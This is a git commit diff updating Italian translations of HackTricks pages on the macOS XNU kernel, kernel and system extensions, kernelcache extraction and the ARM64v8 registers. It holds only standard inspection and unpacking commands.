Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-09-25 23:56:55 +00:00
parent 4efa7b3539
commit bf9836cfba
5 changed files with 369 additions and 334 deletions

View file

@ -1,52 +1,52 @@
# Architettura del macOS Kernel & delle Estensioni di Sistema
# macOS Kernel & System Extensions
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}
## Kernel XNU
## XNU Kernel
Il **cuore di macOS è XNU**, che sta per "X is Not Unix". Questo kernel è fondamentalmente composto dal **microkernel Mach** (di cui si parlerà in seguito), **e** elementi della Berkeley Software Distribution (**BSD**). XNU fornisce anche una piattaforma per **driver di kernel tramite un sistema chiamato I/O Kit**. Il kernel XNU fa parte del progetto open source Darwin, il che significa che **il suo codice sorgente è liberamente accessibile**.
Il **nucleo di macOS è XNU**, che sta per "X is Not Unix". Questo kernel è fondamentalmente composto dal **microkernel Mach** (di cui si parlerà più avanti), **e** elementi dalla Berkeley Software Distribution (**BSD**). XNU fornisce anche una piattaforma per **driver del kernel tramite un sistema chiamato I/O Kit**. Il kernel XNU fa parte del progetto open source Darwin, il che significa che **il suo codice sorgente è liberamente accessibile**.
Dal punto di vista di un ricercatore di sicurezza o di uno sviluppatore Unix, **macOS** può sembrare piuttosto **simile** a un sistema **FreeBSD** con un'interfaccia grafica elegante e una serie di applicazioni personalizzate. La maggior parte delle applicazioni sviluppate per BSD si compilerà ed eseguirà su macOS senza necessità di modifiche, poiché gli strumenti a riga di comando familiari agli utenti Unix sono tutti presenti in macOS. Tuttavia, poiché il kernel XNU incorpora Mach, ci sono alcune differenze significative tra un sistema simile a Unix tradizionale e macOS, e queste differenze potrebbero causare potenziali problemi o fornire vantaggi unici.
Dal punto di vista di un ricercatore di sicurezza o di uno sviluppatore Unix, **macOS** può sembrare piuttosto **simile** a un sistema **FreeBSD** con un'interfaccia grafica elegante e una serie di applicazioni personalizzate. La maggior parte delle applicazioni sviluppate per BSD si compileranno e funzioneranno su macOS senza necessitare di modifiche, poiché gli strumenti da riga di comando familiari agli utenti Unix sono tutti presenti in macOS. Tuttavia, poiché il kernel XNU incorpora Mach, ci sono alcune differenze significative tra un sistema tradizionale simile a Unix e macOS, e queste differenze potrebbero causare problemi potenziali o fornire vantaggi unici.
Versione open source di XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach è un **microkernel** progettato per essere **compatibile con UNIX**. Uno dei suoi principi di progettazione chiave era **minimizzare** la quantità di **codice** in esecuzione nello **spazio del kernel** e invece consentire a molte funzioni tipiche del kernel, come il sistema di file, la rete e l'I/O, di **eseguirsi come attività a livello utente**.
Mach è un **microkernel** progettato per essere **compatibile con UNIX**. Uno dei suoi principi di design chiave era **minimizzare** la quantità di **codice** in esecuzione nello **spazio del kernel** e invece consentire a molte funzioni tipiche del kernel, come il file system, il networking e l'I/O, di **eseguire come attività a livello utente**.
In XNU, Mach è **responsabile di molte delle operazioni critiche a basso livello** che un kernel gestisce tipicamente, come la pianificazione del processore, il multitasking e la gestione della memoria virtuale.
In XNU, Mach è **responsabile di molte delle operazioni critiche a basso livello** che un kernel gestisce tipicamente, come la pianificazione dei processori, il multitasking e la gestione della memoria virtuale.
### BSD
Il **kernel** XNU **incorpora anche** una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **viene eseguito come parte del kernel insieme a Mach**, nello stesso spazio degli indirizzi. Tuttavia, il codice FreeBSD all'interno di XNU potrebbe differire sostanzialmente dal codice FreeBSD originale perché sono state apportate modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
Il **kernel** XNU **incorpora** anche una quantità significativa di codice derivato dal progetto **FreeBSD**. Questo codice **funziona come parte del kernel insieme a Mach**, nello stesso spazio di indirizzi. Tuttavia, il codice FreeBSD all'interno di XNU può differire sostanzialmente dal codice FreeBSD originale perché sono state necessarie modifiche per garantire la sua compatibilità con Mach. FreeBSD contribuisce a molte operazioni del kernel, tra cui:
* Gestione dei processi
* Gestione dei segnali
* Meccanismi di sicurezza di base, inclusa la gestione degli utenti e dei gruppi
* Meccanismi di sicurezza di base, inclusa la gestione di utenti e gruppi
* Infrastruttura delle chiamate di sistema
* Stack TCP/IP e socket
* Firewall e filtraggio dei pacchetti
Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come sua unità di esecuzione fondamentale, mentre Mach opera in base ai thread. Questa discrepanza viene conciliata in XNU **associando ogni processo BSD con un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e di thread.
Comprendere l'interazione tra BSD e Mach può essere complesso, a causa dei loro diversi quadri concettuali. Ad esempio, BSD utilizza i processi come sua unità fondamentale di esecuzione, mentre Mach opera sulla base dei thread. Questa discrepanza è riconciliata in XNU **associando ogni processo BSD a un'attività Mach** che contiene esattamente un thread Mach. Quando viene utilizzata la chiamata di sistema fork() di BSD, il codice BSD all'interno del kernel utilizza le funzioni Mach per creare una struttura di attività e di thread.
Inoltre, **Mach e BSD mantengono modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera in base alla **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente causato vulnerabilità di escalation dei privilegi locali. Oltre alle tipiche chiamate di sistema, ci sono anche **trappole Mach che consentono ai programmi dello spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e sfaccettata del kernel macOS.
Inoltre, **Mach e BSD mantengono ciascuno modelli di sicurezza diversi**: il modello di sicurezza di **Mach** si basa sui **diritti di porta**, mentre il modello di sicurezza di BSD opera sulla base della **proprietà del processo**. Le disparità tra questi due modelli hanno occasionalmente portato a vulnerabilità di escalation dei privilegi locali. Oltre alle chiamate di sistema tipiche, ci sono anche **trappole Mach che consentono ai programmi in spazio utente di interagire con il kernel**. Questi diversi elementi insieme formano l'architettura ibrida e multifaccettata del kernel macOS.
### I/O Kit - Driver
L'I/O Kit è un framework **driver di dispositivo orientato agli oggetti** open source nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato.
L'I/O Kit è un framework open-source e orientato agli oggetti per **driver di dispositivo** nel kernel XNU, gestisce **driver di dispositivo caricati dinamicamente**. Consente di aggiungere codice modulare al kernel al volo, supportando hardware diversificato.
{% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md)
@ -58,88 +58,19 @@ L'I/O Kit è un framework **driver di dispositivo orientato agli oggetti** open
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
### Kernelcache
## macOS Kernel Extensions
Il **kernelcache** è una versione **pre-compilata e pre-linkata del kernel XNU**, insieme a driver di dispositivo essenziali ed estensioni di kernel. È memorizzato in un formato **compresso** e viene decompresso in memoria durante il processo di avvio. Il kernelcache facilita un **avvio più veloce** avendo disponibile una versione pronta all'uso del kernel e dei driver cruciali, riducendo il tempo e le risorse che altrimenti sarebbero impiegate nel caricare dinamicamente e collegare questi componenti al momento dell'avvio.
macOS è **super restrittivo nel caricare le Kernel Extensions** (.kext) a causa dei privilegi elevati con cui il codice verrà eseguito. In realtà, per impostazione predefinita è praticamente impossibile (a meno che non venga trovata una bypass).
In iOS si trova in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS puoi trovarlo con **`find / -name kernelcache 2>/dev/null`** o **`mdfind kernelcache | grep kernelcache`**
È possibile eseguire **`kextstat`** per controllare le estensioni di kernel caricate.
#### IMG4
Il formato file IMG4 è un formato di contenitore utilizzato da Apple nei suoi dispositivi iOS e macOS per **memorizzare e verificare in modo sicuro** componenti firmware (come il **kernelcache**). Il formato IMG4 include un'intestazione e diversi tag che racchiudono diverse parti di dati, inclusi il payload effettivo (come un kernel o un bootloader), una firma e un insieme di proprietà del manifesto. Il formato supporta la verifica crittografica, consentendo al dispositivo di confermare l'autenticità e l'integrità del componente firmware prima di eseguirlo.
Solitamente è composto dai seguenti componenti:
* **Payload (IM4P)**:
* Spesso compresso (LZFSE4, LZSS, ...)
* Opzionalmente criptato
* **Manifesto (IM4M)**:
* Contiene Firma
* Dizionario Chiave/Valore aggiuntivo
* **Informazioni di Ripristino (IM4R)**:
* Noti anche come APNonce
* Impedisce il replay di alcuni aggiornamenti
* FACOLTATIVO: Di solito non viene trovato
Decomprimere il Kernelcache:
```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### Simboli del Kernelcache
A volte Apple rilascia il **kernelcache** con i **simboli**. Puoi scaricare alcuni firmware con i simboli seguendo i link su [https://theapplewiki.com](https://theapplewiki.com/).
### IPSW
Questi sono **firmware** Apple che puoi scaricare da [**https://ipsw.me/**](https://ipsw.me/). Tra gli altri file conterrà il **kernelcache**.\
Per **estrarre** i file puoi semplicemente **scompattarlo**.
Dopo aver estratto il firmware otterrai un file come: **`kernelcache.release.iphone14`**. È in formato **IMG4**, puoi estrarre le informazioni interessanti con:
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool)
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
Puoi controllare i simboli estratti dal kernelcache con: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Con questo possiamo ora **estraire tutte le estensioni** o quella **che ti interessa:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Estensioni del kernel di macOS
macOS è **estremamente restrittivo nel caricare le estensioni del kernel** (.kext) a causa dei privilegi elevati con cui il codice verrà eseguito. Attualmente, per impostazione predefinita è praticamente impossibile (a meno che non venga trovato un bypass).
Nella pagina seguente puoi anche vedere come recuperare il `.kext` che macOS carica all'interno del suo **kernelcache**:
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
{% endcontent-ref %}
### Estensioni di sistema di macOS
### macOS System Extensions
Invece di utilizzare le Estensioni del Kernel, macOS ha creato le Estensioni di Sistema, che offrono API a livello utente per interagire con il kernel. In questo modo, gli sviluppatori possono evitare di utilizzare le estensioni del kernel.
Invece di utilizzare le Kernel Extensions, macOS ha creato le System Extensions, che offrono API a livello utente per interagire con il kernel. In questo modo, gli sviluppatori possono evitare di utilizzare le kernel extensions.
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
@ -151,8 +82,8 @@ Invece di utilizzare le Estensioni del Kernel, macOS ha creato le Estensioni di
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -160,7 +91,7 @@ Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" d
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di GitHub.
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Kernel Extensions
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -47,22 +47,119 @@ In Catalina era così: È interessante notare che il processo di **verifica** av
Se **`kextd`** non è disponibile, **`kextutil`** può eseguire gli stessi controlli.
## Referenze
### Enumerazione (kext caricati)
```bash
# Get loaded kernel extensions
kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
{% hint style="danger" %}
Anche se ci si aspetta che le estensioni del kernel siano in `/System/Library/Extensions/`, se si va in questa cartella **non si troverà alcun binario**. Questo è dovuto al **kernelcache** e per invertire un `.kext` è necessario trovare un modo per ottenerlo.
{% endhint %}
Il **kernelcache** è una **versione pre-compilata e pre-collegata del kernel XNU**, insieme a **driver** e **estensioni del kernel** essenziali. È memorizzato in un formato **compresso** e viene decompresso in memoria durante il processo di avvio. Il kernelcache facilita un **tempo di avvio più veloce** avendo una versione pronta all'uso del kernel e dei driver cruciali disponibili, riducendo il tempo e le risorse che altrimenti verrebbero spese per caricare e collegare dinamicamente questi componenti al momento dell'avvio.
### Local Kerlnelcache
In iOS si trova in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS puoi trovarlo con: **`find / -name "kernelcache" 2>/dev/null`** \
Nel mio caso in macOS l'ho trovato in:
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
Il formato di file IMG4 è un formato contenitore utilizzato da Apple nei suoi dispositivi iOS e macOS per **memorizzare e verificare in modo sicuro** i componenti del firmware (come il **kernelcache**). Il formato IMG4 include un'intestazione e diversi tag che racchiudono diversi pezzi di dati, inclusi il payload effettivo (come un kernel o un bootloader), una firma e un insieme di proprietà del manifesto. Il formato supporta la verifica crittografica, consentendo al dispositivo di confermare l'autenticità e l'integrità del componente firmware prima di eseguirlo.
È solitamente composto dai seguenti componenti:
* **Payload (IM4P)**:
* Spesso compresso (LZFSE4, LZSS, …)
* Facoltativamente crittografato
* **Manifest (IM4M)**:
* Contiene la firma
* Dizionario chiave/valore aggiuntivo
* **Restore Info (IM4R)**:
* Conosciuto anche come APNonce
* Previene la ripetizione di alcuni aggiornamenti
* OPZIONALE: Di solito non si trova
Decomprimere il Kernelcache:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Download&#x20;
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) è possibile trovare tutti i kit di debug del kernel. Puoi scaricarlo, montarlo, aprirlo con lo strumento [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), accedere alla cartella **`.kext`** e **estrarlo**.
Controllalo per simboli con:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
A volte Apple rilascia **kernelcache** con **simboli**. Puoi scaricare alcuni firmware con simboli seguendo i link su quelle pagine. I firmware conterranno il **kernelcache** tra gli altri file.
Per **estrarre** i file inizia cambiando l'estensione da `.ipsw` a `.zip` e **decomprimi**.
Dopo aver estratto il firmware otterrai un file come: **`kernelcache.release.iphone14`**. È in formato **IMG4**, puoi estrarre le informazioni interessanti con:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
{% endcode %}
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Ispezionare il kernelcache
Controlla se il kernelcache ha simboli con
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
Con questo possiamo ora **estrarre tutte le estensioni** o **quella che ti interessa:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
## Extract com.apple.security.sandbox
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
# Extract all
kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Riferimenti
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Supporta HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -1,16 +1,16 @@
# Introduzione ad ARM64v8
# Introduzione all'ARM64v8
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}
@ -20,120 +20,121 @@ Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" d
Nell'architettura ARMv8, i livelli di esecuzione, noti come Livelli di Eccezione (EL), definiscono il livello di privilegio e le capacità dell'ambiente di esecuzione. Ci sono quattro livelli di eccezione, che vanno da EL0 a EL3, ognuno con uno scopo diverso:
1. **EL0 - Modalità Utente**:
* Questo è il livello meno privilegiato e viene utilizzato per eseguire il codice dell'applicazione regolare.
* Le applicazioni in esecuzione a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità.
* Questo è il livello meno privilegiato ed è utilizzato per eseguire codice di applicazione regolare.
* Le applicazioni che girano a EL0 sono isolate l'una dall'altra e dal software di sistema, migliorando la sicurezza e la stabilità.
2. **EL1 - Modalità Kernel del Sistema Operativo**:
* La maggior parte dei kernel dei sistemi operativi funziona a questo livello.
* EL1 ha più privilegi rispetto a EL0 e può accedere alle risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema.
* La maggior parte dei kernel dei sistemi operativi gira a questo livello.
* EL1 ha più privilegi di EL0 e può accedere alle risorse di sistema, ma con alcune restrizioni per garantire l'integrità del sistema.
3. **EL2 - Modalità Hypervisor**:
* Questo livello è utilizzato per la virtualizzazione. Un hypervisor in esecuzione a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) in esecuzione sull'hardware fisico.
* Questo livello è utilizzato per la virtualizzazione. Un hypervisor che gira a EL2 può gestire più sistemi operativi (ciascuno nel proprio EL1) che girano sullo stesso hardware fisico.
* EL2 fornisce funzionalità per l'isolamento e il controllo degli ambienti virtualizzati.
4. **EL3 - Modalità Monitor Sicuro**:
* Questo è il livello più privilegiato e viene spesso utilizzato per l'avvio sicuro e gli ambienti di esecuzione affidabili.
* EL3 può gestire e controllare gli accessi tra stati sicuri e non sicuri (come l'avvio sicuro, il sistema operativo affidabile, ecc.).
* Questo è il livello più privilegiato ed è spesso utilizzato per l'avvio sicuro e gli ambienti di esecuzione fidati.
* EL3 può gestire e controllare gli accessi tra stati sicuri e non sicuri (come l'avvio sicuro, OS fidato, ecc.).
L'uso di questi livelli consente di gestire in modo strutturato e sicuro diversi aspetti del sistema, dalle applicazioni utente al software di sistema più privilegiato. L'approccio di ARMv8 ai livelli di privilegio aiuta a isolare efficacemente diversi componenti di sistema, migliorando così la sicurezza e la robustezza del sistema.
L'uso di questi livelli consente un modo strutturato e sicuro di gestire diversi aspetti del sistema, dalle applicazioni utente al software di sistema più privilegiato. L'approccio di ARMv8 ai livelli di privilegio aiuta a isolare efficacemente i diversi componenti del sistema, migliorando così la sicurezza e la robustezza del sistema.
## **Registri (ARM64v8)**
ARM64 ha **31 registri a scopo generale**, etichettati da `x0` a `x30`. Ciascuno può memorizzare un valore **64-bit** (8-byte). Per operazioni che richiedono solo valori a 32 bit, gli stessi registri possono essere accessibili in modalità a 32 bit utilizzando i nomi w0 a w30.
ARM64 ha **31 registri a uso generale**, etichettati da `x0` a `x30`. Ognuno può memorizzare un valore **64-bit** (8-byte). Per le operazioni che richiedono solo valori a 32 bit, gli stessi registri possono essere accessibili in modalità a 32 bit utilizzando i nomi w0 a w30.
1. **`x0`** a **`x7`** - Questi sono tipicamente utilizzati come registri temporanei e per passare parametri alle subroutine.
* **`x0`** contiene anche i dati di ritorno di una funzione.
2. **`x8`** - Nel kernel Linux, `x8` viene utilizzato come numero di chiamata di sistema per l'istruzione `svc`. **In macOS viene utilizzato x16!**
3. **`x9`** a **`x15`** - Altri registri temporanei, spesso utilizzati per variabili locali.
4. **`x16`** e **`x17`** - **Registri di Chiamata Intra-procedurale**. Registri temporanei per valori immediati. Vengono utilizzati anche per chiamate a funzioni indirette e per stub PLT (Procedure Linkage Table).
* **`x16`** viene utilizzato come **numero di chiamata di sistema** per l'istruzione **`svc`** in **macOS**.
5. **`x18`** - **Registro di Piattaforma**. Può essere utilizzato come registro a scopo generale, ma su alcune piattaforme questo registro è riservato per usi specifici della piattaforma: Puntatore al blocco dell'ambiente del thread corrente in Windows, o per puntare alla struttura del task attualmente **in esecuzione nel kernel Linux**.
6. **`x19`** a **`x28`** - Questi sono registri salvati dal chiamante. Una funzione deve preservare i valori di questi registri per il chiamante, quindi vengono memorizzati nello stack e ripristinati prima di tornare al chiamante.
7. **`x29`** - **Puntatore al Frame** per tenere traccia del frame dello stack. Quando viene creato un nuovo frame dello stack perché viene chiamata una funzione, il registro **`x29`** viene **memorizzato nello stack** e l'indirizzo del **nuovo** frame pointer (indirizzo **`sp`**) viene **memorizzato in questo registro**.
* Questo registro può anche essere utilizzato come **registro a scopo generale** anche se di solito viene utilizzato come riferimento per le **variabili locali**.
8. **`x30`** o **`lr`** - **Registro di Link**. Contiene l'**indirizzo di ritorno** quando viene eseguita un'istruzione `BL` (Branch with Link) o `BLR` (Branch with Link to Register) memorizzando il valore di **`pc`** in questo registro.
* Può essere utilizzato come qualsiasi altro registro.
